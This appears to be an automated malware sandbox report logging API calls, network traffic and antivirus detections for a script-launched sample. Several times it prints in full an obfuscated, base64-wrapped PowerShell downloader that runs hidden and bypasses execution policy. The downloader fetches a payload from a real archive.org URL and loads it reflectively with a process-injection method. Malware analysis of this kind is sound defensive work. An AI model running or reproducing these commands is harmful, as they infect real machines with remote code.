1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02915000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02916000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02917000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02918000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02919000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0291f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a90000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a91000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a92000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a93000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a94000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"
cmdline powershell -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2656
thread_handle: 0x000002e8
process_identifier: 2652
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002f0
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2788
thread_handle: 0x0000044c
process_identifier: 2784
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Symantec CL.Downloader!gen11
Kaspersky HEUR:Trojan.Script.Generic
Ikarus Trojan-Downloader.VBS.Agent
Google Detected
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent zvfò·Ûºˆús&å“ÍEéډ Œ6uÕ¬, âëíô/5 ÀÀÀ À 285ÿia600100.us.archive.org  
Data sent zvfò·“ª-”Xú¥a“°= ìêªX¯Ìž$ä q’à/5 ÀÀÀ À 285ÿia600100.us.archive.org  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: zvfò·Ûºˆús&å“ÍEéډ Œ6uÕ¬, âëíô/5 ÀÀÀ À 285ÿia600100.us.archive.org  
socket: 1440
sent: 127
1 127 0

send

 buffer: zvfò·“ª-”Xú¥a“°= ìêªX¯Ìž$ä q’à/5 ÀÀÀ À 285ÿia600100.us.archive.org  
socket: 1440
sent: 127
1 127 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "& ((VARIaBLe '*MDr*').naMe[3,11,2]-jOiN'')( ('w1'+'Zurl = Vw3http'+'s://'+'i'+'a6'+'00100.us.archive.org'+'/24'+'/i'+'tems/det'+'ah-'+'note-v/'+'DetahNo'+'teV.tx'+'tVw3;'+'w1Zbase6'+'4C'+'onte'+'nt = (New'+'-Obj'+'ect '+'Sy'+'stem.Net'+'.W'+'ebClient).DownloadS'+'tring'+'(w1Zurl);w'+'1Zb'+'in'+'ar'+'yContent = ['+'Sy'+'stem.C'+'on'+'v'+'ert'+']::F'+'r'+'omBas'+'e64String'+'(w1Zbase6'+'4Conte'+'nt);w1Zassembly = ['+'Reflect'+'i'+'on.As'+'sembly]'+'::Load'+'('+'w1Z'+'binaryCon'+'tent'+');w1Zt'+'ype = w1Zass'+'emb'+'ly.GetTyp'+'e(Vw3'+'Ru'+'nPE.'+'Home'+'Vw3);w'+'1Zmethod = w'+'1Z'+'ty'+'pe.GetMethod(Vw3VAIVw3);w1Zm'+'eth'+'od'+'.Invoke(w'+'1Znull, '+'['+'object[]'+']@(V'+'w30/pWcJ'+'n'+'/d/'+'e'+'e.etsap//:sptthVw3 ,'+' Vw3desativa'+'doVw3 , '+'V'+'w3desativado'+'Vw'+'3 ,'+' Vw3d'+'es'+'a'+'tivadoV'+'w3,Vw'+'3AddInP'+'r'+'o'+'cess32Vw3,'+'V'+'w3Vw3))').replAce('Vw3',[sTrING][CHaR]39).replAce('w1Z','$'))"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process powershell -command $Codigo = 'JiAoKFZBUklhQkxlICcqTURyKicpLm5hTWVbMywxMSwyXS1qT2lOJycpKCAoJ3cxJysnWnVybCA9IFZ3M2h0dHAnKydzOi8vJysnaScrJ2E2JysnMDAxMDAudXMuYXJjaGl2ZS5vcmcnKycvMjQnKycvaScrJ3RlbXMvZGV0JysnYWgtJysnbm90ZS12LycrJ0RldGFoTm8nKyd0ZVYudHgnKyd0VnczOycrJ3cxWmJhc2U2JysnNEMnKydvbnRlJysnbnQgPSAoTmV3JysnLU9iaicrJ2VjdCAnKydTeScrJ3N0ZW0uTmV0JysnLlcnKydlYkNsaWVudCkuRG93bmxvYWRTJysndHJpbmcnKycodzFadXJsKTt3JysnMVpiJysnaW4nKydhcicrJ3lDb250ZW50ID0gWycrJ1N5Jysnc3RlbS5DJysnb24nKyd2JysnZXJ0JysnXTo6RicrJ3InKydvbUJhcycrJ2U2NFN0cmluZycrJyh3MVpiYXNlNicrJzRDb250ZScrJ250KTt3MVphc3NlbWJseSA9IFsnKydSZWZsZWN0JysnaScrJ29uLkFzJysnc2VtYmx5XScrJzo6TG9hZCcrJygnKyd3MVonKydiaW5hcnlDb24nKyd0ZW50JysnKTt3MVp0JysneXBlID0gdzFaYXNzJysnZW1iJysnbHkuR2V0VHlwJysnZShWdzMnKydSdScrJ25QRS4nKydIb21lJysnVnczKTt3JysnMVptZXRob2QgPSB3JysnMVonKyd0eScrJ3BlLkdldE1ldGhvZChWdzNWQUlWdzMpO3cxWm0nKydldGgnKydvZCcrJy5JbnZva2UodycrJzFabnVsbCwgJysnWycrJ29iamVjdFtdJysnXUAoVicrJ3czMC9wV2NKJysnbicrJy9kLycrJ2UnKydlLmV0c2FwLy86c3B0dGhWdzMgLCcrJyBWdzNkZXNhdGl2YScrJ2RvVnczICwgJysnVicrJ3czZGVzYXRpdmFkbycrJ1Z3JysnMyAsJysnIFZ3M2QnKydlcycrJ2EnKyd0aXZhZG9WJysndzMsVncnKyczQWRkSW5QJysncicrJ28nKydjZXNzMzJWdzMsJysnVicrJ3czVnczKSknKS5yZXBsQWNlKCdWdzMnLFtzVHJJTkddW0NIYVJdMzkpLnJlcGxBY2UoJ3cxWicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe